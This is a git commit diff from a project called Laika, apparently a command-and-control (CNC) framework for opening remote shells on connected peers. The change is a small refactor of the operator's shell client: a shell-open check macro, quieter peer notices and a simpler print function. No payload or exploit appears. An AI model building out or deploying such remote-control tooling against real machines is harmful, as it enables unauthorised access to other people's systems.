1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-08 00:50:05 +00:00

Handled edgecase of shell peer disconnecting

- minor refactor of shell client, added shellC_isShellOpen()
This commit is contained in:
2022-03-03 10:28:43 -06:00
parent 72e0b6d5d0
commit e6dbada6ec
8 changed files with 66 additions and 39 deletions

View File

@@ -18,6 +18,8 @@ typedef struct sShell_client {
int peerTblCap;
} tShell_client;
#define shellC_isShellOpen(x) (x->openShell != NULL)
void shellC_init(tShell_client *client);
void shellC_cleanup(tShell_client *client);

View File

@@ -84,7 +84,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
tShell_client *client = (tShell_client*)uData;
/* sanity check */
if (client->openShell == NULL)
if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
laikaS_read(&peer->sock, buf, sz);
@@ -95,7 +95,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
tShell_client *client = (tShell_client*)uData;
/* sanity check */
if (client->openShell == NULL)
if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
/* close shell */
@@ -286,8 +286,10 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
/* let user know */
shellT_printf("\nNew peer connected to CNC:\n");
shellC_printInfo(newPeer);
if (!shellC_isShellOpen(client)) {
shellT_printf("\nNew peer connected to CNC:\n");
shellC_printInfo(newPeer);
}
return id;
}
@@ -298,8 +300,10 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
/* remove peer from hashmap */
hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer});
shellT_printf("\nPeer disconnected from CNC:\n");
shellC_printInfo(oldPeer);
if (!shellC_isShellOpen(client)) {
shellT_printf("\nPeer disconnected from CNC:\n");
shellC_printInfo(oldPeer);
}
/* finally, free peer */
shellP_freePeer(oldPeer);
@@ -319,7 +323,7 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer) {
void shellC_closeShell(tShell_client *client) {
/* check if we have a shell open */
if (client->openShell == NULL)
if (!shellC_isShellOpen(client))
return;
/* send SHELL_CLOSE request */
@@ -329,7 +333,7 @@ void shellC_closeShell(tShell_client *client) {
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
/* check if we have a shell open */
if (client->openShell == NULL)
if (!shellC_isShellOpen(client))
return;
laikaS_startVarPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_DATA);

View File

@@ -63,7 +63,7 @@ void openShell(tShell_client *client, int args, char *argc[]) {
shellC_openShell(client, peer);
/* while client is alive, and our shell is open */
while (laikaS_isAlive((&client->peer->sock)) && client->openShell) {
while (laikaS_isAlive((&client->peer->sock)) && shellC_isShellOpen(client)) {
/* poll for 50ms */
if (!shellC_poll(client, 50)) {
/* check if we have input! */
@@ -77,6 +77,8 @@ void openShell(tShell_client *client, int args, char *argc[]) {
}
}
}
shellT_printf("\n\nShell closed\n\n");
}
/* =============================================[[ Command Table ]]============================================== */

View File

@@ -37,28 +37,11 @@ void shellT_resetTerm(void) {
void shellT_printf(const char *format, ...) {
va_list args;
va_list args2;
char *buf;
int sz, i;
/* TODO: this is pretty hacky & ugly. find another way without using the heap? */
va_start(args, format);
va_copy(args2, args);
sz = vsnprintf(NULL, 0, format, args);
buf = laikaM_malloc(sz+1);
vsnprintf(buf, sz+1, format, args2);
vprintf(format, args);
va_end(args);
va_end(args2);
/* convert output */
for (i = 0; i <= sz; i++) {
switch (buf[i]) {
case '\n': putchar('\n'); putchar('\r'); break;
default: putchar(buf[i]); break;
}
}
laikaM_free(buf);
fflush(stdout);
}